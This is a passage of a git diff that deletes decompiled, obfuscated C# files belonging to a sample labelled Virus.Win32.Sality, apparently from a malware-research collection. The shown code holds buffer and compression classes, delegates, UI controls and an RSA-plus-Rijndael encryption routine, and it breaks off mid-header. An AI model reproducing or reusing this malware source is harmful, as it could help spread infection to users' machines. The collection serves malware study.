this.\u0001.\u0004(this.\u0001, this.\u0005, num4, flag); - this.\u0005 += num4; - return !flag; - } - } - return true; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) flag; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) obj0; - // ISSUE: variable of a boxed type - __Boxed local7 = (ValueType) obj1; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this, (object) local6, (object) local7); - } - } - - public bool \u0004([In] bool obj0, [In] bool obj1) - { - bool flag1; - bool flag2; - try - { - do - { - this.\u0005(); - flag1 = obj0 && this.\u000E == this.\u000F; - flag2 = this.\u0003(flag1, obj1); - } - while (this.\u0001.\u0003() && flag2); - return flag2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) flag2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) flag1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj0; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj1; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3, (object) local4); - } - } - - public void \u0003([In] byte[] obj0) - { - try - { - this.\u0002 = obj0; - this.\u000E = 0; - this.\u000F = obj0.Length; - } - catch (Exception ex) - { - byte[] numArray = obj0; - throw UnhandledException.\u0003(ex, (object) this, (object) numArray); - } - } - - public bool \u0003() - { - try - { - return this.\u000F == this.\u000E; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - static \u0008() - { - try - { - \u0006.\u0008.\u0001 = 4096; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - } - - internal sealed class \u000E - { - protected byte[] \u0001 = new byte[65536]; - private int \u0001; - private int \u0002; - private uint \u0001; - private int \u0003; - - public void \u0003([In] int obj0) - { - int num1; - int num2; - try - { - byte[] numArray1 = this.\u0001; - \u0006.\u000E obj = this; - int num3; - num1 = num3 = obj.\u0002; - obj.\u0002 = num3 + 1; - int index1 = num1; - int num4 = (int) (byte) obj0; - numArray1[index1] = (byte) num4; - byte[] numArray2 = this.\u0001; - num2 = this.\u0002++; - int index2 = num2; - int num5 = (int) (byte) (obj0 >> 8); - numArray2[index2] = (byte) num5; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3); - } - } - - public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - try - { - Array.Copy((Array) obj0, obj1, (Array) this.\u0001, this.\u0002, obj2); - this.\u0002 += obj2; - } - catch (Exception ex) - { - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj2; - throw UnhandledException.\u0003(ex, (object) this, (object) numArray, (object) local1, (object) local2); - } - } - - [SpecialName] - public int \u0003() - { - try - { - return this.\u0003; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public void \u0003() - { - int num1; - int num2; - try - { - if (this.\u0003 > 0) - goto label_3; -label_2: - this.\u0001 = 0U; - this.\u0003 = 0; - return; -label_3: - byte[] numArray1 = this.\u0001; - num1 = this.\u0002++; - int index1 = num1; - int num3 = (int) (byte) this.\u0001; - numArray1[index1] = (byte) num3; - if (this.\u0003 > 8) - { - byte[] numArray2 = this.\u0001; - num2 = this.\u0002++; - int index2 = num2; - int num4 = (int) (byte) (this.\u0001 >> 8); - numArray2[index2] = (byte) num4; - goto label_2; - } - else - goto label_2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this); - } - } - - public void \u0003([In] int obj0, [In] int obj1) - { - int num1; - int num2; - try - { - this.\u0001 |= (uint) (obj0 << this.\u0003); - this.\u0003 += obj1; - if (this.\u0003 < 16) - return; - byte[] numArray1 = this.\u0001; - num1 = this.\u0002++; - int index1 = num1; - int num3 = (int) (byte) this.\u0001; - numArray1[index1] = (byte) num3; - byte[] numArray2 = this.\u0001; - num2 = this.\u0002++; - int index2 = num2; - int num4 = (int) (byte) (this.\u0001 >> 8); - numArray2[index2] = (byte) num4; - this.\u0001 >>= 16; - this.\u0003 -= 16; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj0; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj1; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3, (object) local4); - } - } - - [SpecialName] - public bool \u0003() - { - try - { - return this.\u0002 == 0; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1; - try - { - if (this.\u0003 >= 8) - goto label_5; -label_1: - if (obj2 > this.\u0002 - this.\u0001) - { - obj2 = this.\u0002 - this.\u0001; - Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2); - this.\u0001 = 0; - this.\u0002 = 0; - } - else - { - Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2); - this.\u0001 += obj2; - } - return obj2; -label_5: - byte[] numArray = this.\u0001; - num1 = this.\u0002++; - int index = num1; - int num2 = (int) (byte) this.\u0001; - numArray[index] = (byte) num2; - this.\u0001 >>= 8; - this.\u0003 -= 8; - goto label_1; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj2; - throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) numArray, (object) local2, (object) local3); - } - } - - public \u000E() - { - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - } - - internal sealed class \u000F : MemoryStream - { - public void \u0003([In] int obj0) - { - try - { - this.WriteByte((byte) (obj0 & (int) byte.MaxValue)); - this.WriteByte((byte) (obj0 >> 8 & (int) byte.MaxValue)); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) this, (object) local); - } - } - - public void \u0004([In] int obj0) - { - try - { - this.\u0003(obj0); - this.\u0003(obj0 >> 16); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) this, (object) local); - } - } - - public int \u0003() - { - try - { - return this.ReadByte() | this.ReadByte() << 8; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public int \u0004() - { - try - { - return this.\u0003() | this.\u0003() << 16; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public \u000F() - { - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public \u000F([In] byte[] obj0) - : base(obj0, false) - { - try - { - } - catch (Exception ex) - { - byte[] numArray = obj0; - throw UnhandledException.\u0003(ex, (object) this, (object) numArray); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0003.cs deleted file mode 100644 index 9cdfbab8..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0002\u0003([In] object obj0, [In] int obj1, [In] object obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0004.cs deleted file mode 100644 index 70e0ca1b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate Size \u0002\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0005.cs deleted file mode 100644 index 188ca223..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0002\u0005([In] EventHandler obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0006.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0006.cs deleted file mode 100644 index d7de2c12..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0006.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; - -internal delegate DateTime \u0002\u0006(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/Token200012B.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/Token200012B.cs deleted file mode 100644 index e1cc9dff..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/Token200012B.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token200012B -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace \u0003 -{ - internal class Token200012B : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0001.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0001.cs deleted file mode 100644 index f625a7c8..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0001.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0003; -using System.Runtime.InteropServices; - -namespace \u0003 -{ - internal sealed class \u0001 - { - internal static long \u0001; - internal static long \u0002; - internal static \u0001.\u0001 \u0001; - internal static \u0001.\u0002 \u0001; - internal static \u0001.\u0002 \u0002; - internal static \u0001.\u0003 \u0001; - internal static \u0001.\u0003 \u0002; - internal static \u0001.\u0004 \u0001; - internal static \u0001.\u0004 \u0002; - internal static \u0001.\u0005 \u0001; - internal static \u0001.\u0005 \u0002; - internal static \u0001.\u0006 \u0001; - - [StructLayout(LayoutKind.Explicit, Size = 1024, Pack = 1)] - private struct \u0001 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0002 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u0003 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u0004 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u0005 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u0006 - { - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0002.cs deleted file mode 100644 index 700bb363..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0002.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace \u0003 -{ - internal enum \u0002 - { - \u0001 = 1, - \u0002 = 2, - \u0003 = 3, - \u0004 = 4, - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0003.cs deleted file mode 100644 index 64d135cb..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0003.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0005; -using System; -using System.Drawing; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0003 -{ - internal sealed class \u0003 : Label - { - private void \u0003() - { - try - { - Graphics graphics = \u0099\u0002.\u009F((object) this); - try - { - int num = \u0003.\u0003(graphics, \u0003\u0006.\u007E\u0098((object) this), \u001A\u0004.\u007E\u008B((object) this), \u008A\u0005.\u009C((object) this)); - if (num <= 0) - return; - \u0004\u0004.\u008F((object) this, num); - } - finally - { - if (graphics != null) - \u0087\u0005.\u007E\u001F\u0003((object) graphics); - } - } - catch - { - } - } - - protected override void OnFontChanged([In] EventArgs obj0) - { - \u0094\u0005.\u0090\u0002((object) this, obj0); - this.\u0003(); - } - - protected override void OnResize([In] EventArgs obj0) - { - \u0094\u0005.\u0007\u0002((object) this, obj0); - this.\u0003(); - } - - protected override void OnTextChanged([In] EventArgs obj0) - { - \u0094\u0005.\u0091\u0002((object) this, obj0); - this.\u0003(); - } - - public \u0003() - { - \u0095\u0003.\u008E\u0002((object) this, FlatStyle.System); - \u000E\u0003.\u008F\u0002((object) this, false); - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0004.cs deleted file mode 100644 index 1f86c9d1..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0004.cs +++ /dev/null @@ -1,99 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0003; -using \u0005; -using System; -using System.Drawing; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0003 -{ - internal sealed class \u0004 : Control - { - [NonSerialized] - internal static \u0002 \u0001; - private int \u0001 = 99; - private Bitmap \u0001 = \u0006.\u0003(\u0004.\u0001(667)); - private Bitmap \u0002 = \u0006.\u0003(\u0004.\u0001(676)); - private Timer \u0001 = new Timer(); - private float \u0001 = 1f; - private float \u0002 = 1f; - - protected override void OnVisibleChanged([In] EventArgs obj0) - { - \u0094\u0005.\u0005\u0002((object) this, obj0); - if (\u009E\u0005.\u0017\u0008((object) this)) - return; - this.\u0003(\u009E\u0005.\u009A((object) this)); - } - - private void \u0003([In] bool obj0) - { - \u000E\u0003.\u007E\u0099\u0002((object) this.\u0001, obj0); - this.\u0001 = 0; - \u0087\u0005.\u007E\u0008\u0002((object) this); - } - - protected override void OnResize([In] EventArgs obj0) - { - \u009C\u0002.\u0095((object) this, new Size(\u008E\u0005.\u008A\u0004(250f * this.\u0001), \u008E\u0005.\u008A\u0004(42f * this.\u0002))); - \u0094\u0005.\u0007\u0002((object) this, obj0); - } - - protected override void ScaleCore([In] float obj0, [In] float obj1) - { - this.\u0001 = obj0; - this.\u0002 = obj1; - \u0013\u0004.\u000F\u0002((object) this, obj0, obj1); - \u0094\u0005.\u007E\u0007\u0002((object) this, EventArgs.Empty); - } - - protected override void Dispose([In] bool obj0) - { - if (obj0 && this.\u0001 != null) - \u0087\u0005.\u007E\u0088\u0008((object) this.\u0001); - \u000E\u0003.\u0001\u0002((object) this, obj0); - } - - protected override void OnPaint([In] PaintEventArgs obj0) - { - \u0088\u0005.\u0006\u0002((object) this, obj0); - if (this.\u0002 != null) - \u0097\u0003.\u007E\u008F\u0008((object) \u0099\u0002.\u007E\u0015\u0002((object) obj0), (Image) this.\u0002, new Rectangle(0, 0, \u008E\u0005.\u008A\u0004(250f * this.\u0001), \u008E\u0005.\u008A\u0004(42f * this.\u0002)), new Rectangle(0, 0, 250, 42), GraphicsUnit.Pixel); - if (this.\u0001 == null || this.\u0001 <= 0) - return; - \u009D\u0002.\u007E\u0091\u0008((object) \u0099\u0002.\u007E\u0015\u0002((object) obj0), new Rectangle(\u008E\u0005.\u008A\u0004(46f * this.\u0001), 0, \u008E\u0005.\u008A\u0004(165f * this.\u0001), \u008E\u0005.\u008A\u0004(34f * this.\u0002))); - \u0080\u0004.\u007E\u0090\u0008((object) \u0099\u0002.\u007E\u0015\u0002((object) obj0), (Image) this.\u0001, new Rectangle(\u008E\u0005.\u008A\u0004((float) (this.\u0001 - 6) * this.\u0001), \u008E\u0005.\u008A\u0004(16f * this.\u0002), \u008E\u0005.\u008A\u0004(40f * this.\u0001), \u008E\u0005.\u008A\u0004(12f * this.\u0002)), 0, 0, 40, 12, GraphicsUnit.Pixel); - } - - private void \u0003([In] object obj0, [In] EventArgs obj1) - { - this.\u0001 += 11; - if (this.\u0001 > 198) - goto label_2; -label_1: - \u0087\u0005.\u007E\u0008\u0002((object) this); - return; -label_2: - this.\u0001 = 0; - goto label_1; - } - - public \u0004() - { - this.\u0001.Interval = 85; - \u001F\u0005.\u007E\u0098\u0002((object) this.\u0001, new EventHandler(this.\u0003)); - \u009C\u0002.\u0095((object) this, new Size(250, 42)); - \u000E\u0003.\u0097((object) this, false); - \u008D\u0003.\u0011\u0002((object) this, ControlStyles.UserPaint | ControlStyles.ResizeRedraw | ControlStyles.SupportsTransparentBackColor | ControlStyles.AllPaintingInWmPaint | ControlStyles.DoubleBuffer, true); - } - - static \u0004() => \u0001.\u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0005.cs deleted file mode 100644 index 94b5571b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0005.cs +++ /dev/null @@ -1,84 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0003; -using System; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0003 -{ - internal sealed class \u0005 - { - [NonSerialized] - internal static \u0002 \u0001; - public static string \u0001; - - public static byte[] \u0003([In] byte[] obj0, [In] string obj1) - { - if (\u0087\u0003.\u007E\u008D\u0003((object) obj1, \u0005.\u0001(696))) - { - \u0005.\u0001 = \u0005.\u0001(701); - return (byte[]) null; - } - try - { - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - RSACryptoServiceProvider cryptoServiceProvider = new RSACryptoServiceProvider(); - \u0096\u0004.\u007E\u009B\u0007((object) cryptoServiceProvider, obj1); - \u0087\u0005.\u007E\u0008\u0008((object) rijndaelManaged); - \u0087\u0005.\u007E\u000E\u0008((object) rijndaelManaged); - byte[] numArray1 = new byte[48]; - \u0081\u0004.\u0083\u0004((Array) \u0095\u0002.\u007E\u0002\u0008((object) rijndaelManaged), 0, (Array) numArray1, 0, 32); - \u0081\u0004.\u0083\u0004((Array) \u0095\u0002.\u007E\u009F\u0007((object) rijndaelManaged), 0, (Array) numArray1, 32, 16); - MemoryStream memoryStream = new MemoryStream(); - try - { - byte[] numArray2 = \u0004\u0003.\u007E\u0014\u0008((object) cryptoServiceProvider, numArray1, false); - \u009D\u0004.\u007E\u001E\u0007((object) memoryStream, (byte) 1); - \u009D\u0004.\u007E\u001E\u0007((object) memoryStream, \u008F\u0003.\u0088\u0004(numArray2.Length / 8)); - \u009B\u0005.\u007E\u001D\u0007((object) memoryStream, numArray2, 0, numArray2.Length); - } - catch (CryptographicException ex1) - { - try - { - byte[] numArray3 = new byte[16]; - byte[] numArray4 = new byte[16]; - \u0081\u0004.\u0083\u0004((Array) \u0095\u0002.\u007E\u0002\u0008((object) rijndaelManaged), 0, (Array) numArray3, 0, 16); - \u0081\u0004.\u0083\u0004((Array) \u0095\u0002.\u007E\u0002\u0008((object) rijndaelManaged), 16, (Array) numArray4, 0, 16); - byte[] numArray5 = \u0004\u0003.\u007E\u0014\u0008((object) cryptoServiceProvider, numArray3, false); - byte[] numArray6 = \u0004\u0003.\u007E\u0014\u0008((object) cryptoServiceProvider, numArray4, false); - byte[] numArray7 = \u0004\u0003.\u007E\u0014\u0008((object) cryptoServiceProvider, \u0095\u0002.\u007E\u009F\u0007((object) rijndaelManaged), false); - \u009D\u0004.\u007E\u001E\u0007((object) memoryStream, (byte) 2); - \u009D\u0004.\u007E\u001E\u0007((object) memoryStream, \u008F\u0003.\u0088\u0004(numArray5.Length / 8)); - \u009B\u0005.\u007E\u001D\u0007((object) memoryStream, numArray5, 0, numArray5.Length); - \u009B\u0005.\u007E\u001D\u0007((object) memoryStream, numArray6, 0, numArray6.Length); - \u009B\u0005.\u007E\u001D\u0007((object) memoryStream, numArray7, 0, numArray7.Length); - } - catch (CryptographicException ex2) - { - \u0005.\u0001 = \u0005.\u0001(794); - return (byte[]) null; - } - } - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, \u0013\u0005.\u007E\u0005\u0008((object) rijndaelManaged), CryptoStreamMode.Write); - \u009B\u0005.\u007E\u001D\u0007((object) cryptoStream, obj0, 0, obj0.Length); - \u0087\u0005.\u007E\u009D\u0007((object) cryptoStream); - return \u0095\u0002.\u007E\u008B\u0007((object) memoryStream); - } - catch (Exception ex) - { - \u0005.\u0001 = \u0010\u0003.\u0095\u0003(\u0005.\u0001(1000), \u0003\u0006.\u007E\u0001\u0004((object) ex)); - return (byte[]) null; - } - } - - static \u0005() => \u0001.\u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0006.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0006.cs deleted file mode 100644 index 0a96233b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0006.cs +++ /dev/null @@ -1,1317 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: 